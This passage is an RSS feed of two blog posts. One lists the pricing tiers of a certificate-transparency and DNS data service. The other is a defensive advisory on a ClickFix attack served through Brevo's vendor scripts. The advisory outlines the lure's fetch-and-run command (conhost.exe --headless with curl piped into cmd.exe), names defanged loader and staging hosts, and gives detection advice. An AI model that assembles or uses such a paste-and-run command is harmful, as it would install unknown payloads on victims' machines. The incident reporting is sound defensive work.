      <description>&lt;p&gt;Paid plans are open on issued.live: Basic at $39 a month, Plus at $99 and Pro at $199. Basic opens the extended record on the website and the daily domains and DNS files. Plus adds lookups by address, certificate and public key through the API, and all five daily datasets. Pro adds sweeps across the whole corpus, a second concurrent advanced query and certificate lookup in the permanent archive.&lt;/p&gt;

&lt;p&gt;issued.live reads the public Certificate Transparency logs, resolves DNS from seven vantage points and loads ICANN zone files. It records certificates exactly as logged and collects nothing by connecting to a subject's host.&lt;/p&gt;

&lt;p&gt;Free covers the public record for any domain with no account and no key: certificate, issuer, certificate expiry, hosting address and current DNS, plus the domain's registration and expiry dates and its registrar. The same URL answers as JSON, Markdown or a web page. The cap is 1,000 requests a day per client address, resetting at 00:00 UTC.&lt;/p&gt;

&lt;h2&gt;
  
  
  What each plan gets
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Basic, at $39 a month
&lt;/h3&gt;

&lt;p&gt;Basic runs at 60 requests a minute with no daily cap, and carries the domains and DNS daily files in &lt;code&gt;csv.zst&lt;/code&gt;. It also opens the extended record on the website for any domain you look up: certificate internals, DNS per vantage point, the full address history and the domain timeline.&lt;/p&gt;

&lt;p&gt;A Basic key reaches the daily files and the public record API.&lt;/p&gt;

&lt;h3&gt;
  
  
  Plus, at $99 a month
&lt;/h3&gt;

&lt;p&gt;Plus runs at 300 requests a minute and serves the extended record and the timeline through the API. It suits a hunter working one lead at a time: an address, a certificate, a name.&lt;/p&gt;

&lt;p&gt;Reverse IP and CIDR return every hostname our resolvers have recorded answering at an address or a range, with first-seen and last-seen times and an observed count. These observations begin in August 2026.&lt;/p&gt;

&lt;p&gt;Pivots by certificate and SPKI return the other names on a certificate and everything sharing a public key, with key-reuse coverage from September 7, 2026. Every certificate reports its JA4X fingerprint, and JA4X has no pivot because a search on one value would return a third of all Let's Encrypt certificates.&lt;/p&gt;

&lt;p&gt;The timeline lists every dated event for a domain in order, with the gap since the previous event and a precision of exact, day or observed. A gap between two observed events measures our scan schedule, so filter on precision before fingerprinting.&lt;/p&gt;

&lt;p&gt;Plus takes all five datasets as daily files: &lt;code&gt;domains&lt;/code&gt;, &lt;code&gt;dns&lt;/code&gt;, &lt;code&gt;dns_vantage&lt;/code&gt;, &lt;code&gt;certificates&lt;/code&gt; and &lt;code&gt;address_history&lt;/code&gt;. It runs one advanced query at a time.&lt;/p&gt;

&lt;h3&gt;
  
  
  Pro, at $199 a month
&lt;/h3&gt;

&lt;p&gt;Pro runs at 1,200 requests a minute and adds the sweeps. Pattern search finds registrable domains whose names fit a pattern, across the whole corpus. The grammar, its limits and an example response are covered on tuxxin.com: &lt;a href="https://tuxxin.com/blog/issued-live-pattern-search" rel="noopener noreferrer"&gt;Pattern search on issued.live finds domains by the shape of their names&lt;/a&gt;. Batch lookup answers up to 500 domains in one call. Two feeds page by cursor: newly registered domains, and provisioning, which lists domains registered, certificated and resolved inside one window.&lt;/p&gt;

&lt;p&gt;Pro takes the same five daily files as Plus and runs two advanced queries at once. It is the one plan whose certificate lookups reach the permanent archive once a certificate leaves the 48-hour live window.&lt;/p&gt;

&lt;p&gt;Request formats, pagination and error codes for every keyed endpoint are in the &lt;a href="https://issued.live/developers/pro" rel="noopener noreferrer"&gt;Pro API reference&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Concurrency slots
&lt;/h2&gt;

&lt;p&gt;Advanced queries are bounded by how many run at once on your account: &lt;strong&gt;one on Plus, two on Pro&lt;/strong&gt;. Each paid account holds one API key, so the count per key and per account is the same. The per-minute rate applies to the public record API, and the slots bound the advanced queries.&lt;/p&gt;

&lt;p&gt;Five endpoints take a slot: reverse IP, range, pattern search, batch lookup and the provisioning feed. The certificate, key, domain and timeline endpoints and the newly registered domains feed are point lookups and take none. Another customer's traffic never consumes your slots, and keyed calls through the issued.live MCP server draw on the same slots as HTTP calls.&lt;/p&gt;

&lt;p&gt;A cold reverse-IP range query can read hundreds of millions of rows and hold its database connection for close to 18 seconds. Enough of those at once would take the whole connection pool and the memory behind it, and every other request on the site would stall. When every slot on your account is busy, a new request waits up to five seconds for one and then times out, because an unbounded queue would turn one slow query into a pile-up. The same cost caps a range at 256 addresses, an IPv4 /24.&lt;/p&gt;

&lt;h2&gt;
  
  
  The four plans side by side
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Capability&lt;/th&gt;
&lt;th&gt;Free&lt;/th&gt;
&lt;th&gt;Basic&lt;/th&gt;
&lt;th&gt;Plus&lt;/th&gt;
&lt;th&gt;Pro&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Price a month&lt;/td&gt;
&lt;td&gt;$0&lt;/td&gt;
&lt;td&gt;$39&lt;/td&gt;
&lt;td&gt;$99&lt;/td&gt;
&lt;td&gt;$199&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Rate&lt;/td&gt;
&lt;td&gt;1,000 a day per address&lt;/td&gt;
&lt;td&gt;60 a minute&lt;/td&gt;
&lt;td&gt;300 a minute&lt;/td&gt;
&lt;td&gt;1,200 a minute&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Public record for one domain&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Registration and expiry dates, registrar&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Extended record and timeline on the website&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Extended record and timeline by API&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Reverse IP, CIDR and the certificate and SPKI pivots&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Pattern search, batch lookup and the feeds&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Certificate lookup in the archive, past 48 hours&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Daily files&lt;/td&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;td&gt;Domains and DNS&lt;/td&gt;
&lt;td&gt;All five&lt;/td&gt;
&lt;td&gt;All five&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Full weekly snapshot&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;Domains and DNS&lt;/td&gt;
&lt;td&gt;All five&lt;/td&gt;
&lt;td&gt;All five&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;File downloads a day&lt;/td&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;td&gt;One per file&lt;/td&gt;
&lt;td&gt;One per file&lt;/td&gt;
&lt;td&gt;One per file&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Advanced queries in flight&lt;/td&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;td&gt;One&lt;/td&gt;
&lt;td&gt;Two&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;API keys on the account&lt;/td&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;td&gt;One&lt;/td&gt;
&lt;td&gt;One&lt;/td&gt;
&lt;td&gt;One&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Published SHA-256 checksums&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Ad-free pages, sign-in and billing&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  The daily files
&lt;/h2&gt;

&lt;p&gt;Files come in two kinds: a daily delta of what changed, and a full weekly snapshot for seeding a new system. Every paid plan gets the snapshot for the datasets it covers. The &lt;code&gt;domains&lt;/code&gt;, &lt;code&gt;dns&lt;/code&gt;, &lt;code&gt;dns_vantage&lt;/code&gt; and &lt;code&gt;address_history&lt;/code&gt; files ship as &lt;code&gt;csv.zst&lt;/code&gt;, and &lt;code&gt;certificates&lt;/code&gt; ships as Parquet. JSON copies were withdrawn on September 23, 2026. Generation starts at midnight US Eastern, and the datasets publish one at a time over the following hours.&lt;/p&gt;

&lt;p&gt;You can download each file once a day, an allowance shared between the download page and your key that resets at 00:00 UTC. A free Sample link beside a file on the &lt;a href="https://issued.live/downloads" rel="noopener noreferrer"&gt;download page&lt;/a&gt; returns its header and five real rows, and a daily &lt;code&gt;checksums.txt&lt;/code&gt; needs no key, so anyone can verify a file they already hold.&lt;/p&gt;

&lt;h2&gt;
  
  
  How long each dataset is kept
&lt;/h2&gt;

&lt;p&gt;Full certificate rows are queryable live for 48 hours, then age out of the live database. Every closed UTC day is archived as Parquet and kept indefinitely. On Pro, the same certificate endpoint searches that archive when a lookup misses the live window, in seconds where live lookups take milliseconds. Interactive archive coverage begins September 9, 2026.&lt;/p&gt;

&lt;p&gt;Storage cost sets the window length. Certificates are the one dataset stored as raw observations; the others hold state plus deltas. We costed a 13-month hot window at about 3.6 TB, roughly four times the whole disk, and declined it.&lt;/p&gt;

&lt;p&gt;Daily files stay on the download page for 14 days, counting today, and every file published is archived permanently, starting with the files for September 17, 2026. DNS change history runs 18 months, and the current DNS answer is held for as long as the name resolves. Registration data, address history and the reverse-IP index have no expiry. The &lt;a href="https://issued.live/about" rel="noopener noreferrer"&gt;about page&lt;/a&gt; carries the full retention table.&lt;/p&gt;

&lt;h2&gt;
  
  
  When Free or another service fits better
&lt;/h2&gt;

&lt;p&gt;Free covers anyone reading a handful of domains a day from a shell, with no key to manage.&lt;/p&gt;

&lt;p&gt;Anyone asking what a certificate looked like in 2019 should use &lt;a href="https://crt.sh" rel="noopener noreferrer"&gt;crt.sh&lt;/a&gt;, which answers that for free. Registrant contact details and long whois histories come from other services, and we collect neither. The &lt;a href="https://issued.live/compare" rel="noopener noreferrer"&gt;comparison page&lt;/a&gt; weighs issued.live against AllZonefiles.io, Domains-Monitor, WhoisXML API and crt.sh, and says where each of them wins.&lt;/p&gt;

&lt;h2&gt;
  
  
  Billing and sign-in
&lt;/h2&gt;

&lt;p&gt;Plans bill monthly in advance through PayPal subscriptions and renew automatically. An active, unbroken subscription keeps its price, and a price change takes effect only at a renewal after notice by email. Cancel any time in PayPal, and access runs to the end of the period you have paid for. Part-months are not prorated or refunded.&lt;/p&gt;

&lt;p&gt;Sign-in is passwordless: a six-digit code arrives by email, and signing in opens the page that manages your key and billing. You can rotate your API key at any time. A paid plan licenses the data for internal use while the subscription is active, and publishing findings and excerpts is allowed. Redistributing the bulk files, or a substantial part of them, as a dataset is prohibited.&lt;/p&gt;

&lt;p&gt;The feature matrix and the subscribe buttons are on the &lt;a href="https://issued.live/pricing" rel="noopener noreferrer"&gt;pricing page&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Updated September 25, 2026, to match issued.live's pricing, about, compare, downloads, terms and login pages and the developer documentation. &lt;a href="https://tuxxin.com/founder" rel="noopener noreferrer"&gt;More about the author&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>issuedlive</category>
      <category>certificatetransparency</category>
      <category>passivedns</category>
      <category>reverseip</category>
    </item>
    <item>
      <title>Brevo delivered KongTuke ClickFix to 51 customer sites</title>
      <dc:creator>Daniel J</dc:creator>
      <pubDate>Thu, 17 Sep 2026 12:12:30 +0000</pubDate>
      <link>https://dev.to/tuxxin/brevo-delivered-kongtuke-clickfix-to-51-customer-sites-k05</link>
      <guid>https://dev.to/tuxxin/brevo-delivered-kongtuke-clickfix-to-51-customer-sites-k05</guid>
      <description>&lt;p&gt;Brevo's own delivery infrastructure served malicious JavaScript to 51 customer page domains on September 14, 2026. The injected code drew a fake Cloudflare verification panel and walked visitors through a ClickFix sequence ending in a command shell. The window ran from 16:05 to 20:12 UTC, and by the following day every loader hostname it used had stopped resolving.&lt;/p&gt;

&lt;p&gt;Kirk of ADAMnetworks published the technical analysis. Whack.sh took part in the shared investigation.&lt;/p&gt;

&lt;h2&gt;
  
  
  How the attack works
&lt;/h2&gt;

&lt;p&gt;Two files Brevo serves to its customers carried appended code. The SDK loader at &lt;code&gt;cdn.brevo[.]com/js/sdk-loader.js&lt;/code&gt; went from a clean 3,442 bytes to 3,615 or 3,616. The Sibforms bundle at &lt;code&gt;sibforms[.]com/forms/end-form/build/main.js&lt;/code&gt; went from a clean 461,411 bytes to 461,584 or 461,585. The one-byte spread is the loader hostname: a page served by &lt;code&gt;cdn11&lt;/code&gt; carries a longer label than one served by &lt;code&gt;cdn2&lt;/code&gt;. If you are checking a capture against these numbers, both values are modified.&lt;/p&gt;

&lt;p&gt;The appended code is a script tag pointing at a loader host under &lt;code&gt;sendibt1[.]com&lt;/code&gt;. That domain is the reason this reached so far: Brevo lists it among its own technical domains, so it is a name a customer following Brevo's own integration guidance would already have allowed. This was delivery through a vendor's genuine infrastructure, and a site owner reviewing their network log would have seen nothing out of place.&lt;/p&gt;

&lt;p&gt;The panel the code drew imitated a Cloudflare verification step. It instructed visitors to press Win+R, then Ctrl+V, then Enter. The clipboard carried a command built around &lt;code&gt;conhost.exe --headless&lt;/code&gt; and &lt;code&gt;curl&lt;/code&gt;, piped into &lt;code&gt;cmd.exe&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;What the command retrieved is unknown. Every captured request to the four download servers returned an empty HTTP 444, and a Joe Sandbox run that executed the command on Windows 10 at 18:34:33 recorded the same thing. The tokens are single use: the servers answered the victim and nobody else. Anyone who completed the paste got a payload, and it was not captured.&lt;/p&gt;

&lt;p&gt;The panel was served in an iframe requesting &lt;code&gt;fullscreen&lt;/code&gt; and &lt;code&gt;clipboard-write&lt;/code&gt; permissions, and carried a proof-of-work challenge before it would render. It reported telemetry events named &lt;code&gt;vclick&lt;/code&gt; and &lt;code&gt;copy_fail&lt;/code&gt;, so the operators were measuring how many visitors completed the paste and how many gave up.&lt;/p&gt;

&lt;h2&gt;
  
  
  Built ahead of time, and torn down fast
&lt;/h2&gt;

&lt;p&gt;The certificate record dates the buildout well before the attack. Kirk's analysis records a certificate for &lt;code&gt;cdn.sendibt1[.]com&lt;/code&gt; issued on August 25, twenty days ahead, and a wildcard for &lt;code&gt;*.sendibt1[.]com&lt;/code&gt; on September 8. Certificates for &lt;code&gt;cdn9&lt;/code&gt;, &lt;code&gt;cdn10&lt;/code&gt; and &lt;code&gt;cdn11&lt;/code&gt; were issued on September 14 between 16:09 and 16:12 UTC, four minutes after the window opened: capacity added while the campaign was already running.&lt;/p&gt;

&lt;p&gt;Seven loader hosts served the campaign. By September 15 all seven returned NXDOMAIN. The whole operation lasted about four hours.&lt;/p&gt;

&lt;p&gt;A separate thread in the same research connects the operator to MintsLoader, and it is worth being precise about the distance. The four download servers share a naming scheme with hosts that a MintsLoader sample from September 9 queried. That earlier sample reached a staging host, &lt;code&gt;jg2n36pxkqjfqp7[.]top&lt;/code&gt;, and DNS and hosting records tie that host to 97 domains across three addresses on BL Networks' AS399629, all using 15-character lowercase labels under &lt;code&gt;.top&lt;/code&gt;. That estate hangs off the September 9 staging host, not off the &lt;code&gt;sendibt1&lt;/code&gt; loaders: it is the same operator by inference, on different infrastructure.&lt;/p&gt;

&lt;h2&gt;
  
  
  How to stay safe
&lt;/h2&gt;

&lt;p&gt;Treat any instruction to copy a command and paste it into the Run box, PowerShell, or Terminal as the attack itself. A verification step that asks you to run something is a lure. Cloudflare's real challenge never asks you to paste a command.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Close the tab. Nothing is repaired by completing the step.&lt;/li&gt;
&lt;li&gt;If you already ran it, treat the machine as compromised and change passwords from a different device.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For teams running a site that loads third-party JavaScript:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Subresource Integrity on vendor scripts turns a modified file into a blocked file. It is the direct control for this attack, and it costs an attribute. A Content-Security-Policy would not have helped here: the malicious host was a domain the vendor documents, so a correctly written policy already trusted it.&lt;/li&gt;
&lt;li&gt;Compare your vendor bundles against known-clean byte counts. Both modified sizes above differ from clean by fewer than 200 bytes in a 461 KB file.&lt;/li&gt;
&lt;li&gt;Watch endpoints for a shell spawned shortly after browser activity, and specifically for &lt;code&gt;conhost.exe --headless&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Certificate transparency carried the first record of this infrastructure, three weeks early. Watching CT for new names under your vendors' domains is cheap, though be honest about what it buys: a new &lt;code&gt;cdn&lt;/code&gt; subdomain on a domain the vendor already documents is routine, so August 25 would have been a row in a log rather than an alarm. Its value here is retrospective, which is how the timeline above was built.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Credit and sources
&lt;/h2&gt;

&lt;p&gt;The research and the writeup are Kirk's, at ADAMnetworks, published September 16, 2026. The report thanks &lt;a href="https://tuxxin.com/founder" rel="noopener noreferrer"&gt;Daniel Jones&lt;/a&gt; of Tuxxin LLC, who took part using Whack.sh, and Emiliano of The Matrix Project, for their work on the infrastructure records.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;ADAMnetworks report: &lt;a href="https://adamnet.works/blog/brevo-delivers-kongtuke-clickfix-to-customer-sites/" rel="noopener noreferrer"&gt;Brevo delivers KongTuke ClickFix to customer sites&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Earlier collaboration: &lt;a href="https://whack.sh/news/pasteswitch-clickfix-operation" rel="noopener noreferrer"&gt;PasteSwitch, 108 crypto-theft ads on a hijacked HBO Max Reddit account&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>clickfix</category>
      <category>kongtuke</category>
      <category>mintsloader</category>
      <category>brevo</category>
    </item>
  </channel>
</rss>
